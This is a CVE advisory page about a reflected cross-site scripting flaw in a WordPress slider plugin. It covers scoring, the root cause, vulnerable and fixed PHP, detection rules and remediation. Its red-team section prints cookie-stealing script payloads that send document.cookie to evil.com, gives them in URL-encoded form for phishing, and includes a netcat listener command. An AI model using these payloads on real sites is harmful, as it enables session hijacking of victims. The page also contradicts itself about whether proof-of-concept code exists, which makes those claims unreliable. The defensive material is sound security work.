CVE-2024-49334
Executive Summary
CVE-2024-49334 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin jLayer Parallax Slider by Unizoewebsolutions, affecting all versions up to and including 1.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository or third-party marketplaces. Users are advised to remove the plugin immediately as no patched version exists. The lack of vendor response and the plugin's unmaintained status pose a significant supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low attack complexity and network-based vector make this a viable phishing or social engineering target.
Deep Dive & Mechanics
The vulnerability exists in the jlayer-parallax-slider-wp plugin's handling of HTTP GET parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. An attacker can craft a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?param=<script>alert(1)</script>). When a victim visits this URL, the script executes in their browser context, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output without applying WordPress's built-in escaping functions like esc_html() or esc_attr().
Attack Flow:
- Attacker crafts a malicious URL:
http://target.com/?slider=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script> - Victim clicks the link (e.g., via phishing email).
- The plugin reflects the payload in the page response.
- The victim's browser executes the script, sending sensitive data to the attacker.
Vulnerable vs. Patched Code
Vulnerable Code (jLayer Parallax Slider <= 1.0):
<?php
// In a template or shortcode handler
$slider_param = $_GET['slider'];
echo '<div class="jlayer-slider" data-slider="' . $slider_param . '">';
?>
Patched Code (Hypothetical):
<?php
// Properly escape output
$slider_param = isset($_GET['slider']) ? esc_attr($_GET['slider']) : '';
echo '<div class="jlayer-slider" data-slider="' . $slider_param . '">';
?>
Since no official patch exists, users must remove the plugin or implement a virtual patch via a Web Application Firewall (WAF).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with jLayer Parallax Slider <= 1.0 installed and activated.
- A controlled server to receive exfiltrated data (e.g.,
evil.com).
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
slider,id,page). Use a fuzzer or manual testing with?param=<script>alert(1)</script>. - Craft a payload to steal cookies:
http://target.com/?slider=<script>new Image().src='http://evil.com/steal?c='+document.cookie</script> - Encode the URL for phishing:
http://target.com/?slider=%3Cscript%3Enew%20Image().src%3D%27http%3A%2F%2Fevil.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via email or social engineering.
Lab Setup:
- Use a local WordPress instance with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wp -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp -p 8080:80 -d wordpress - Install the vulnerable plugin manually by downloading version 1.0 from a mirror.
- Set up a listener:
nc -lvnp 80or use a webhook service.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags or base64-encoded payloads in query parameters. - Use a WAF to block common XSS patterns (e.g.,
<script,onerror=,javascript:). - Deploy Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search for
jlayer-parallax-slider-wpin installed plugins. - Review HTTP access logs for unusual query strings.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains containing cookie data in the URL.
- Suspicious query parameters with
<script>tags or encoded JavaScript.
- Host:
- Presence of the
jlayer-parallax-slider-wpplugin directory (e.g.,/wp-content/plugins/jlayer-parallax-slider-wp/). - Modified WordPress core files or unexpected JavaScript in page source.
- Presence of the
- Logs:
- Web server logs with entries like
GET /?slider=<script>...</script>.
- Web server logs with entries like
Detection Engineering
YARA Rule
rule CVE_2024_49334_JLayer_XSS {
meta:
description = "Detects jLayer Parallax Slider reflected XSS payloads"
author = "Valters IT"
date = "2025-01-01"
cve = "CVE-2024-49334"
strings:
$payload1 = "<script>" nocase
$payload2 = "onerror=" nocase
$payload3 = "javascript:" nocase
$plugin_path = "jlayer-parallax-slider-wp" nocase
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: Reflected XSS via jLayer Parallax Slider
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-49334
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
cs-uri-stem|contains: 'jlayer-parallax-slider-wp'
condition: selection
falsepositives:
- Legitimate use of script tags in admin areas (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49334 jLayer Parallax Slider Reflected XSS"; flow:to_server,established; content:"jlayer-parallax-slider-wp"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin: Deactivate and delete
jlayer-parallax-slider-wpfrom all WordPress installations. - Virtual Patching: If removal is not possible, deploy a WAF rule to block query strings containing
<script,onerror, orjavascript:. - User Education: Warn users not to click suspicious links, especially those containing query parameters.
Long-Term:
- Replace the plugin with an actively maintained alternative (e.g., MetaSlider or Soliloquy).
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
- Regularly audit WordPress plugins for vulnerabilities.
Vendor Contact: Unizoewebsolutions has not responded. Consider reporting to WordPress Plugin Review Team for removal from repository.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.